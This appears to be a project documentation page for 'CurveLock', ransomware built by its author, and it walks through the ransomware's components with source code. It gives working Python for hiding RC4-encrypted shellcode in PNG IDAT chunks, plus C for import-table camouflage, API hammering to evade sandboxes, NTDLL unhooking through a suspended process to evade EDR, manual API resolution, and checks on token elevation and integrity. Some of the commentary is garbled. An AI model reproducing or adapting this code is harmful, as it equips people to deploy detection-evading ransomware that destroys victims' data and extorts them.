CurveLock
How CurveLock Ransomware works
Last updated
How CurveLock Ransomware works
Last updated
CurveLock is modern ransomware designed from scratch to infect faster and encrypt target contents using Elliptical Curve Cryptography (ECC) algorithm.
Why create a ransomware you ask? Well because I wanted to learn and show how Elliptic curve cryptography could be used in tandem with AES-256 to encrypt victim data. Last major ransomware that employed ECC was . Thus in order to know why other ransomwares haven't employed ECC, I created CurveLock. And the answer why is ..... not that complicated actually.
ECC has simply, fallen out of favor. The support for native ECC libraries is way less than those of it's equivalents like RSA. This means that if something unexpected happens, you are on your own. And believe me - ransomware operators HATE that. Thus in order to gain more profit and reliability, they continue using the tried and tested RSA+AES combo. If people start giving more attention to ECC, surely they will prefer ECC again due to ECC's superior compute ability.
Anyway, that's too much backstory. You are here to know how it works and give that to you I shall. CurveLock ransomware attack chain consists of three main parts -
Payload Embedder - It embeds the shellcode in various IDAT sections of a benign PNG file.
CurveLock - The mastermind of the whole operation. It is responsible for everything ranging from EDR evasion to payload execution.
Payload - Finally the proverbial "bullet" of the CurveLock weapon. It is responsible for employing ECC and AES to encrypt victim data.
Now you can expand and read the below sections to know more about the inner workings of CurveLock.
Utilizes API Hammering to obfuscate call stack of the ransomware to evade detection from sandbox environments
Creates a random compile time IAT seed to evade static detection
Unhooks NTDLL by creating a suspended process, copying the clean NTDLL from it and replacing out NTDLL in the .text
section
Extracts process token and checks it's elevation and integrity and determines it it is being run as Admin or not.
Performs self deletion to avoid manual analysis after execution.
Embeds the Ransomware Payload into a .PNG
file's IDAT sections and encrypts each section with it's own RC4 key.
Payload is extracted from the .PNG
file at runtime and executed.
Also provides the decryptor for the encrypted files.
Click on the expandable tabs to learn more about a specific module.
It takes an input PNG file and a separate payload (shellcode), encrypts the payload in RC4-encrypted chunks, and hides those chunks inside custom IDAT sections of a copy of the PNG. It:
Ensures required Python packages are installed (pycryptodome
, colorama
).
Defines helper routines for coloring output, generating random bytes, CRC calculation, and RC4 encryption.
Reads the payload and verifies the target is a valid PNG.
Removes the original PNG’s end marker, appends a “marker” IDAT, then embeds the RC4 encrypted payload in multiple IDAT chunks, and finally re-appends the PNG footer.
Each IDAT payload chunk is encrypted using it's own RC4 key.
Prints out the special marker CRC for later extraction in a companion C program
Following is the code analysis of Payload Embedder
generate_random_bytes(key_length=RC4_KEY_LNG)
def generate_random_bytes(key_length=RC4_KEY_LNG):
return secrets.token_bytes(key_length)
Purpose: Securely generate a random byte string.
Default: RC4_KEY_LNG = 16
bytes.
Use Cases:
Generating RC4 keys.
Creating a random buffer for the special marker IDAT.
calculate_chunk_crc(chunk_data)
def calculate_chunk_crc(chunk_data):
return zlib.crc32(chunk_data) & 0xffffffff
Purpose: Compute the CRC32 checksum of PNG chunk data.
Details:
Uses zlib.crc32
.
Masks to 32 bits (& 0xffffffff
).
create_idat_section(buffer)
def create_idat_section(buffer):
if len(buffer) > MAX_IDAT_LNG:
print_red("[!] Input Data Is Bigger Than IDAT Section Limit")
sys.exit(0)
idat_chunk_length = len(buffer).to_bytes(4, byteorder='big')
idat_crc = calculate_chunk_crc(IDAT + buffer).to_bytes(4, byteorder='big')
idat_section = idat_chunk_length + IDAT + buffer + idat_crc
print_white(f"[>] Created IDAT Of Length [{int.from_bytes(idat_chunk_length, byteorder='big')}] And Hash [{hex(int.from_bytes(idat_crc, byteorder='big'))}]")
return idat_section, idat_crc
Purpose: Build a valid PNG IDAT chunk containing arbitrary data.
Key Steps:
Size check: Ensures buffer
≤ MAX_IDAT_LNG
(8192 bytes).
Length field: 4-byte big-endian of len(buffer)
.
Chunk type: The literal bytes b'IDAT'
.
CRC: Over IDAT
+ buffer
, written as 4-byte big-endian.
Assembly: [length][IDAT][buffer][CRC]
.
Returns: Tuple (full_chunk_bytes, crc_bytes)
.
remove_bytes_from_end(file_path, bytes_to_remove)
def remove_bytes_from_end(file_path, bytes_to_remove):
with open(file_path, 'rb+') as f:
f.seek(0, 2) # Seek to EOF
file_size = f.tell()
f.truncate(file_size - bytes_to_remove)
Purpose: Truncate the last bytes_to_remove
bytes of a file.
Use Case: Remove the PNG’s IEND footer before appending custom data.
encrypt_rc4(key, data)
def encrypt_rc4(key, data):
cipher = ARC4.new(key)
return cipher.encrypt(data)
Purpose: Encrypts data
using RC4 and the provided key
.
Library: Crypto.Cipher.ARC4
from PyCryptodome.
Returns: Encrypted byte string of same length as data
.
plant_payload_in_png(ipng_fname, opng_fname, png_buffer)
def plant_payload_in_png(ipng_fname, opng_fname, png_buffer):
shutil.copyfile(ipng_fname, opng_fname)
remove_bytes_from_end(opng_fname, len(IEND))
# Marker IDAT
mark_idat, special_idat_crc = create_idat_section(
generate_random_bytes(random.randint(16, 256))
)
with open(opng_fname, 'ab') as f:
f.write(mark_idat)
# Embed encrypted payload in chunks
with open(opng_fname, 'ab') as f:
for i in range(0, len(png_buffer), MAX_IDAT_LNG - RC4_KEY_LNG):
rc4_key = generate_random_bytes()
chunk_plain = png_buffer[i:i + (MAX_IDAT_LNG - RC4_KEY_LNG)]
chunk_data = rc4_key + encrypt_rc4(rc4_key, chunk_plain)
idat_section, _= create_idat_section(chunk_data)
print_cyan(f"[i] Encrypted IDAT With RC4 Key: {rc4_key.hex()}")
f.write(idat_section)
with open(opng_fname, 'ab') as f:
f.write(IEND)
return special_idat_crc
Purpose: Core embedding routine.
Workflow:
Copy original PNG to output.
Strip its IEND footer.
Write a “marker” IDAT chunk with random data of random length (16–256 bytes) → returns its CRC (special_idat_crc
).
Iterate over the payload buffer in slices of up to (MAX_IDAT_LNG – RC4_KEY_LNG)
bytes:
Generate a fresh 16-byte RC4 key.
Prepend the key to the encrypted slice.
Package into an IDAT section and append.
Re-append the standard IEND footer.
Returns: CRC of the marker IDAT (for detection later).
is_png(file_path)
def is_png(file_path):
if not os.path.isfile(file_path):
raise FileNotFoundError(f"[!] '{file_path}' does not exist")
with open(file_path, 'rb') as f:
return f.read(8) == b'\x89PNG\r\n\x1a\n'
Purpose: Validate that a file is a PNG by checking its 8-byte signature.
Errors: Raises if the path doesn’t exist; catches and reports I/O errors.
read_payload_from_file(payload_file)
def read_payload_from_file(payload_file):
if not os.path.isfile(payload_file):
raise FileNotFoundError(f"[!] '{payload_file}' does not exist")
with open(payload_file, 'rb') as f:
return f.read()
Purpose: Load the entire payload from disk into memory.
Errors: Raises if the file is missing.
main()
def main():
parser = argparse.ArgumentParser(description="Embed An Encrypted Payload Inside A PNG")
parser.add_argument('-png', '--pngfile', type=str, required=True, help="Input PNG file to embed the payload into")
parser.add_argument('-o', '--output', type=str, required=True, help="Output PNG file name")
parser.add_argument('-p', '--payload', type=str, required=True, help="Payload file to embed")
args = parser.parse_args()
if not args.output.endswith('.png'):
args.output += '.png'
if not is_png(args.pngfile):
print_red(f"[!] '{args.pngfile}' is not a valid PNG file.")
sys.exit(0)
payload_data = read_payload_from_file(args.payload)
special_idat_crc = plant_payload_in_png(args.pngfile, args.output, payload_data)
print_yellow(f"[*] '{args.output}' is created!")
print_white("[i] Copy The Following To Your Code: \n")
print_blue("#define MARKED_IDAT_HASH\t 0x{:X}\n".format(int.from_bytes(special_idat_crc, byteorder='big')))
Purpose: CLI entry point.
Arguments:
-png
/ --pngfile
: source PNG.
-o
/ --output
: desired output filename.
-p
/ --payload
: file to embed.
Flow:
Append “.png” to output if missing.
Validate input is PNG.
Read payload.
Call plant_payload_in_png
.
Print success message and emit a #define
macro containing the marker CRC (hex) for downstream extraction.
CurveLock abuses compile-time constants and a dead-code API import path to hide Import Address Table (IAT) entries in a binary without ever actually calling them at runtime. At build time it generates a pseudo-random seed based on the compiler’s __TIME__
macro, writes it into a heap buffer, then references a bunch of “whitelisted” WinAPI functions behind an impossible if
so they become linked but never executed.
RandomCompileTimeSeed
int RandomCompileTimeSeed(void)
{
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
}
Purpose: Compute a deterministic “random” integer at compile time, based entirely on the build timestamp (__TIME__
).
How it works:
'0' * -40271
'0'
is ASCII 0x30 (48); multiplying by –40271 yields a constant offset of –1,932, (–193,? actually –48 × 40271 = –1,932,? check) that ensures the final sum isn’t trivially just the time.
__TIME__
indexing
__TIME__
is a string literal "HH:MM:SS"
.
Indexes:
[7]
→ last second digit
[6]
→ first second digit
[4]
→ last minute digit
[3]
→ first minute digit
[1]
→ last hour digit (ones place)
[0]
→ first hour digit (tens place)
Weighting factors
Seconds → ×1
and ×10
reproduce 0–59
Minutes → ×60
and ×600
reproduce 0–3540
Hours → ×3600
and ×36000
reproduce 0–82800
Result
A unique integer between roughly –2 million and +100 thousand depending on compile time.
Helper
PVOID Helper(PVOID* ppAddress) {
// Allocate and zero 0xFF bytes
PVOID pAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
if (!pAddress)
return NULL;
// Store a small “random” seed value in the first 4 bytes
*(int*)pAddress = RandomCompileTimeSeed() % 0xFF;
// Return both base pointer and via out-parameter
*ppAddress = pAddress;
return pAddress;
}
Purpose:
Allocate a 255-byte zeroed buffer on the process heap.
Write a byte-sized compile-time seed into its first 4 bytes.
Provide the allocated pointer back via two routes (return value and out-param).
Step-by-step:
HeapAlloc
Uses the default process heap.
HEAP_ZERO_MEMORY
ensures the entire 0xFF bytes are initially zero.
Null-check
If allocation fails, returns NULL
.
Seeding
Calls RandomCompileTimeSeed()
, takes modulo 255 (fits in a byte).
Stores it into the first 4 bytes (only the low byte matters).
Pointer passing
Writes the same pAddress
into *ppAddress
.
Returns pAddress
so caller can use whichever convention.
IatCamouflage
VOID IatCamouflage() {
PVOID pAddress = NULL;
int* A = (int*)Helper(&pAddress);
// This branch can never be true, since seed % 0xFF < 255
if (*A > 350) {
// Force-import these WinAPI calls
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
i = GetLastError();
i = SetCriticalSectionSpinCount(NULL, NULL);
i = GetWindowContextHelpId(NULL);
i = GetWindowLongPtrW(NULL, NULL);
i = RegisterClassW(NULL);
i = IsWindowVisible(NULL);
i = ConvertDefaultLocale(NULL);
i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
i = IsDialogMessageW(NULL, NULL);
}
// Clean up allocated buffer
HeapFree(GetProcessHeap(), 0, pAddress);
}
Purpose:
Trigger linker to resolve (“import”) a suite of WinAPI functions without ever executing them at runtime.
Hide these imports in the IAT as “camouflaged” calls.
Behavior:
Heap buffer & seed
Calls Helper
, stores buffer pointer and reads back *A
= (seed % 255)
.
Impossible if
Checks *A > 350
→ always false (range 0–254).
Prevents execution of the API calls at runtime.
Dead-code API calls
Each assignment to i
references a different WinAPI.
Ensures the linker pulls them into the IAT.
Cleanup
HeapFree
to avoid leaking the 0xFF-byte allocation.
Since the impossible branch never executes, there’s no runtime evidence of these calls. Thus CurveLock's import table now contains your chosen “whitelisted” APIs, even though they never run. Also The seed value in the heap buffer and thus the single-byte stored changes whenever you recompile at a different time, but has no practical effect on the camouflage logic. This is done to induce randomness of the IAT imports.
BOOL ApiHammering(DWORD dwStress) {
WCHAR szPath[MAX_PATH * 2],
szTmpPath[MAX_PATH];
HANDLE hRFile = INVALID_HANDLE_VALUE,
hWFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesRead = NULL,
dwNumberOfBytesWritten = NULL;
PBYTE pRandBuffer = NULL;
SIZE_T sBufferSize = 0xFFFFF; // 1048575 bytes
INT Random = 0;
…
}
Variable Declarations
szTmpPath
: Holds the system temp folder (MAX_PATH
wide chars).
szPath
: Twice as large to concatenate szTmpPath + filename
.
hWFile
, hRFile
: Write/read file handles, initialized to INVALID_HANDLE_VALUE
.
dwNumberOfBytesWritten/Read
: I/O byte counts.
pRandBuffer
: Pointer to heap-allocated buffer.
sBufferSize
: Set to 0xFFFFF
(≈1 MiB).
Random
: Temporary for byte-value seed.
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
return FALSE;
}
Purpose: Query Windows for the current user’s temp directory (C:\Users\<…>\AppData\Local\Temp\
).
On Failure: Logs the error code and aborts (FALSE
).
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);
Purpose: Concatenate szTmpPath
with your #define TMPFILE L"your.tmp"
to form the full path.
Example: If szTmpPath = L"C:\\Temp\\"
and TMPFILE = L"vmtest.bin"
, then szPath = L"C:\\Temp\\vmtest.bin"
.
for (SIZE_T i = 0; i < dwStress; i++) {
// … write, read, cleanup …
}
Purpose: Repeat the hammering sequence dwStress
times. Higher counts increase detection sensitivity (but also total runtime).
3a. Create & Write the Temp File
hWFile = CreateFileW(
szPath,
GENERIC_WRITE,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_TEMPORARY,
NULL
);
if (hWFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Allocate and fill buffer
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
srand(time(NULL));
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
// Write to disk
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL)
|| dwNumberOfBytesWritten != sBufferSize) {
printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
return FALSE;
}
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);
CreateFileW
Opens/creates the temp file with GENERIC_WRITE
.
FILE_ATTRIBUTE_TEMPORARY
hints Windows to keep data in cache.
Buffer Allocation & Randomization
HeapAlloc(…, HEAP_ZERO_MEMORY, sBufferSize)
→ ~1 MiB zeroed buffer.
Seed rand()
with time(NULL)
; pick a byte 0…254
.
memset
fills buffer with that byte.
WriteFile
Writes entire buffer; verifies the full sBufferSize
was written.
Cleanup
RtlZeroMemory
wipes buffer.
CloseHandle
closes the write handle.
3b. Re-Open & Read (with Auto-Delete)
cCopyEdithRFile = CreateFileW(
szPath,
GENERIC_READ,
0, NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
if (hRFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL)
|| dwNumberOfBytesRead != sBufferSize) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
return FALSE;
}
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), 0, pRandBuffer);
CloseHandle(hRFile); // triggers file deletion
CreateFileW
for Read
OPEN_EXISTING
to open the file you just wrote.
FILE_FLAG_DELETE_ON_CLOSE
ensures the file is removed when the handle is closed.
ReadFile
Reads back into the same buffer; checks byte count.
Cleanup
Zero the buffer again.
Free the heap allocation.
Close the read handle (deletes the temp file).
cCopyEditreturn TRUE;
If all dwStress
iterations complete without error, returns TRUE
.
This is run on an infinite loop in a background thread.
NTDLL unhooking is required for CurveLock to run smoothly as EDR's often hook the ntdll.dll
functions and monitor API usage. Manually importing an ntdll.dll
from disk is extremely risky as it is very unusual for processes to do that and EDRs will definitely catch that. An alternative method to unhook ntdll.dll
involves reading it from a suspended process. This works because EDRs require a running process to install their hooks and therefore a process created in a suspended state, will contain a clean ntdll.dll
image allowing for the text section of the current process to be substituted with that of the suspended one. This process is called process hollowing and CurveLock does just that.
GetNtdllSizeFromBaseAddress
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {
// Parse the DOS header
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// Parse the NT headers
PIMAGE_NT_HEADERS pImgNtHdrs =
(PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Return the NTDLL's size
return pImgNtHdrs->OptionalHeader.SizeOfImage;
}
Purpose: Given a base pointer to an in-memory module, verify it’s a valid PE image and return its total image size.
Steps:
Cast pNtdllModule
to a IMAGE_DOS_HEADER*
and check e_magic == 'MZ'
.
Locate the IMAGE_NT_HEADERS
via e_lfanew
offset and check Signature == 'PE\0\0'
.
Read OptionalHeader.SizeOfImage
, the span in memory covering all sections.
Failure Modes: Returns 0
(NULL) on any header mismatch.
FetchLocalNtdllBaseAddress
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
// Walk to the second entry in InMemoryOrderModuleList
PLDR_DATA_TABLE_ENTRY pLdr =
(PLDR_DATA_TABLE_ENTRY)(
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink
- 0x10
);
return pLdr->DllBase;
}
Purpose: Retrieve the base address of the loaded ntdll.dll
in the current process by walking the PEB’s module list.
Steps:
Read the PEB pointer from the segment register (GS:[0x60]
on x64 or FS:[0x30]
on x86).
Navigate InMemoryOrderModuleList.Flink
twice to skip the NULL
/self entry and kernel32.dll
, landing on ntdll.dll
.
Subtract 0x10
to convert from the LIST_ENTRY
back to the LDR_DATA_TABLE_ENTRY
start.
Return DllBase
, the module’s in-memory base.
ReadNtdllFromASuspendedProcess
BOOL ReadNtdllFromASuspendedProcess(
IN LPCSTR lpProcessName,
OUT PVOID* ppNtdllBuf
) {
CHAR cWinPath[MAX_PATH/2] = {0}, cProcessPath[MAX_PATH] = {0};
PVOID pNtdllModule = FetchLocalNtdllBaseAddress();
PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = 0, sNumberOfBytesRead = 0;
STARTUPINFO Si = {0};
PROCESS_INFORMATION Pi = {0};
Si.cb = sizeof(Si);
// Build full path: "%WINDIR%\System32\<lpProcessName>"
if (!GetWindowsDirectoryA(cWinPath, _countof(cWinPath))) {
printf("[!] GetWindowsDirectoryA Failed: %d\n", GetLastError());
goto _EndOfFunc;
}
sprintf_s(cProcessPath, sizeof(cProcessPath),
"%s\\System32\\%s", cWinPath, lpProcessName);
// Start the target in DEBUG_PROCESS mode (acts like CREATE_SUSPENDED)
if (!CreateProcessA(
NULL, cProcessPath,
NULL, NULL, FALSE,
DEBUG_PROCESS,
NULL, NULL,
&Si, &Pi
)) {
printf("[!] CreateProcessA Failed: %d\n", GetLastError());
goto _EndOfFunc;
}
// Determine NTDLL size and allocate buffer
sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize) goto _EndOfFunc;
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer) goto _EndOfFunc;
// Read the remote ntdll.dll image into local buffer
if (!ReadProcessMemory(
Pi.hProcess,
pNtdllModule,
pNtdllBuffer,
sNtdllSize,
&sNumberOfBytesRead
) || sNumberOfBytesRead != sNtdllSize) {
printf("[!] ReadProcessMemory Failed: %d (read %zu of %zu)\n",
GetLastError(), sNumberOfBytesRead, sNtdllSize);
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
// Stop debugging and terminate the remote process
DebugActiveProcessStop(Pi.dwProcessId);
TerminateProcess(Pi.hProcess, 0);
printf("[+] Suspended Process Terminated Successfully\n");
_EndOfFunc:
if (Pi.hProcess) CloseHandle(Pi.hProcess);
if (Pi.hThread) CloseHandle(Pi.hThread);
return (*ppNtdllBuf != NULL);
}
Purpose: Launch a fresh copy of e.g. mspaint.exe
in a suspended/debug state, read its unmodified ntdll.dll
image into local memory, then tear down the process.
Key Points:
Remote Process Creation: Uses DEBUG_PROCESS
to prevent immediate execution of user code.
Size & Allocation: Calls our previous routines to size and allocate a buffer.
Memory Read: ReadProcessMemory
pulls the entire ntdll.dll
image.
Cleanup: Stops debugging, terminates, and closes handles.
Failure Modes: Cleans up handles and returns FALSE
on any error.
ReplaceNtdllTxtSection
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
PIMAGE_DOS_HEADER pLocalDosHdr =
(PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs =
(PIMAGE_NT_HEADERS)(
(PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew
);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;
// Locate the “.text” section
PIMAGE_SECTION_HEADER pSection =
IMAGE_FIRST_SECTION(pLocalNtHdrs);
PVOID pLocalTxt = NULL, pRemoteTxt = NULL;
SIZE_T txtSize = 0;
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++, pSection++) {
// Compare section name case-insensitive to “.text”
if ((*(ULONG*)pSection->Name | 0x20202020) == 'xet.') {
pLocalTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSection->VirtualAddress);
pRemoteTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSection->VirtualAddress);
txtSize = pSection->Misc.VirtualSize;
break;
}
}
if (!pLocalTxt || !pRemoteTxt || !txtSize) return FALSE;
// Sanity: first DWORDs should match
if (*(ULONG*)pLocalTxt != *(ULONG*)pRemoteTxt) return FALSE;
// Make the section writable
DWORD oldProt;
if (!VirtualProtect(pLocalTxt, txtSize,
PAGE_EXECUTE_WRITECOPY, &oldProt)) {
printf("[!] VirtualProtect [1] Failed: %d\n", GetLastError());
return FALSE;
}
// Overwrite the hooked bytes
memcpy(pLocalTxt, pRemoteTxt, txtSize);
// Restore previous protection
if (!VirtualProtect(pLocalTxt, txtSize,
oldProt, &oldProt)) {
printf("[!] VirtualProtect [2] Failed: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
Purpose: Overwrite the in-process .text
section of ntdll.dll
with a clean copy.
Steps:
Validate PE Headers of the local ntdll.dll
.
Find the .text
section by iterating section headers and comparing names.
Compute base pointers for local vs. remote text using VirtualAddress
.
Ensure size and initial bytes match for sanity.
Change memory protection to allow writes.
memcpy
the unhooked code over the potentially hooked bytes.
Restore protections.
UnhookNtDLL
BOOL UnhookNtDLL() {
PVOID pUnhookedNtdll = NULL;
// 1) Read a pristine copy from a suspended mspaint.exe
if (!ReadNtdllFromASuspendedProcess("mspaint.exe", &pUnhookedNtdll)) {
printf("[!] Failed to read NTDLL from a suspended process.\n");
return FALSE;
}
// 2) Patch our own .text section
if (!ReplaceNtdllTxtSection(pUnhookedNtdll)) {
printf("[!] Failed to replace NTDLL text section.\n");
HeapFree(GetProcessHeap(), 0, pUnhookedNtdll);
return FALSE;
}
// 3) Cleanup
HeapFree(GetProcessHeap(), 0, pUnhookedNtdll);
printf("[+] Successfully unhooked NTDLL.\n");
return TRUE;
}
Purpose: High-level orchestration of the unhooking process.
Flow:
Fetch clean image via suspended process.
Apply patch to current process’s ntdll.dll
.
Free the temporary buffer and report success.
In the end, any user-mode hooks or patches in CurveLock’s ntdll.dll
are overwritten with original bytes, restoring expected system call stubs.
GetProcAddressQ
is a low-level manual API resolver used to locate the address of an exported function in a loaded module (DLL or EXE) without using Windows API. Thus it is highly suspicious if a binary has it in it's IAT import. In order to avoid static detection, I had to create a manual GetProcAddress
function. Here is it's implementation.
PBYTE pBase = (PBYTE)hModule;
// DOS Header validation
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// NT Headers validation
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
Converts the base address into a byte pointer.
Verifies the DOS and NT headers (MZ
, PE\0\0
) to ensure a valid PE image.
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir =
(PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
Retrieves the export table directory entry from the optional header.
Converts its Relative Virtual Address (RVA) to a pointer in memory.
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
The export directory contains:
Function names → an array of RVAs to null-terminated strings.
Ordinals → mapping of name indices to function index.
Function addresses → actual function RVA values.
Converts each of these arrays into pointers for traversal.
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (strcmp(lpApiName, pFunctionName) == 0) {
printf("[ %0.4d ] FOUND API -\t NAME: %s -\t ADDRESS: 0x%p -\t ORDINAL: %d\n",
i, pFunctionName, pFunctionAddress, FunctionOrdinalArray[i]);
return pFunctionAddress;
}
}
Iterates through the function names (not all exported functions, only named ones).
Uses strcmp
to check if the current function matches lpApiName
.
Resolves the function address using FunctionOrdinalArray[i]
.
On match: prints debug info and returns the absolute address.
cCopyEditreturn NULL;
If no function name matched, return NULL
to indicate failure.
CurveLock uses token manipulation to determine whether the current process is running with elevated (Administrator) privileges and to query its integrity level. They dynamically resolve native NTDLL calls (NtQueryInformationToken
, NtOpenProcessToken
, and SID-helper routines) to avoid static imports, then use them to:
Open the current process’s token.
Ask whether it’s elevated.
Retrieve and decode its mandatory integrity level (Low, Medium, High, or Unknown).
IsTokenElevated
BOOL IsTokenElevated(IN HANDLE hToken) {
NTSTATUS STATUS = 0x00;
TOKEN_ELEVATION TknElvtion = { 0 };
DWORD dwLength = sizeof(TOKEN_ELEVATION);
fnNtQueryInformationToken pNtQueryInformationToken = NULL;
BOOL bTokenIsElevated = FALSE;
// 1. Reject invalid handle
if (!hToken)
return FALSE;
// 2. Resolve NtQueryInformationToken from NTDLL
pNtQueryInformationToken =
(fnNtQueryInformationToken)
GetProcAddressQ(
GetModuleHandle(TEXT("NTDLL")),
"NtQueryInformationToken"
);
if (!pNtQueryInformationToken) {
printf("[!] GetProcAddress [%d] Failed With Error: %d\n",
__LINE__, GetLastError());
return FALSE;
}
// 3. Query the TokenElevation class
STATUS = pNtQueryInformationToken(
hToken,
TokenElevation,
&TknElvtion,
dwLength,
&dwLength
);
if (STATUS == 0x00) // STATUS_SUCCESS
bTokenIsElevated = TknElvtion.TokenIsElevated;
// 4. Return TRUE if elevated, FALSE otherwise
return bTokenIsElevated;
}
Validate input: Immediately returns FALSE
if hToken
is NULL
.
Dynamic import: Uses GetProcAddressQ
to avoid static linking to NtQueryInformationToken
.
Token query: Requests the built-in TokenElevation
information class.
Interpretation: TknElvtion.TokenIsElevated
is a DWORD—nonzero means the token has admin rights.
GetCurrentToken
HANDLE GetCurrentToken() {
HANDLE hToken = NULL;
NTSTATUS STATUS = 0x00;
fnNtOpenProcessToken pNtOpenProcessToken = NULL;
// 1. Resolve NtOpenProcessToken
pNtOpenProcessToken =
(fnNtOpenProcessToken)
GetProcAddressQ(
GetModuleHandle(TEXT("NTDLL")),
"NtOpenProcessToken"
);
if (!pNtOpenProcessToken) {
printf("[!] GetProcAddress Failed With Error: %d\n",
GetLastError());
return NULL;
}
// 2. Open the process token of the current process
// (HANDLE)-1 is pseudo-handle for self
STATUS = pNtOpenProcessToken(
(HANDLE)-1,
TOKEN_QUERY,
&hToken
);
if (STATUS != 0x00) { // not STATUS_SUCCESS
printf("[!] NtOpenProcessToken Failed With Error: 0x%0.8X\n",
STATUS);
return NULL;
}
printf("[+] Current Process Token Retrieved\n");
return hToken;
}
Dynamic import: Fetches NtOpenProcessToken
at runtime.
Self-token handle: Passes (HANDLE)-1
so NTDLL opens the caller’s own process.
Desired access: TOKEN_QUERY
, enough to query elevation & integrity.
Result: Returns a valid token handle on success, or NULL
on failure.
QueryTokenIntegrity
DWORD QueryTokenIntegrity(IN HANDLE hToken) {
NTSTATUS STATUS = 0x00;
PTOKEN_MANDATORY_LABEL pTokenLabel = NULL;
ULONG uReturnLength = 0, uSidCount = 0;
DWORD dwIntegrity = THREAD_INTEGRITY_UNKNOWN;
fnNtQueryInformationToken pNtQueryInformationToken = NULL;
fnRtlSubAuthorityCountSid pRtlSubAuthorityCountSid = NULL;
fnRtlSubAuthoritySid pRtlSubAuthoritySid = NULL;
// 1. Validate handle
if (!hToken)
return FALSE;
// 2. Resolve required NTDLL routines
pNtQueryInformationToken =
(fnNtQueryInformationToken)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "NtQueryInformationToken");
pRtlSubAuthorityCountSid =
(fnRtlSubAuthorityCountSid)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "RtlSubAuthorityCountSid");
pRtlSubAuthoritySid =
(fnRtlSubAuthoritySid)
GetProcAddressQ(GetModuleHandle(TEXT("NTDLL")), "RtlSubAuthoritySid");
if (!pNtQueryInformationToken || !pRtlSubAuthorityCountSid || !pRtlSubAuthoritySid) {
printf("[!] GetProcAddress [%d] Failed With Error: %d\n",
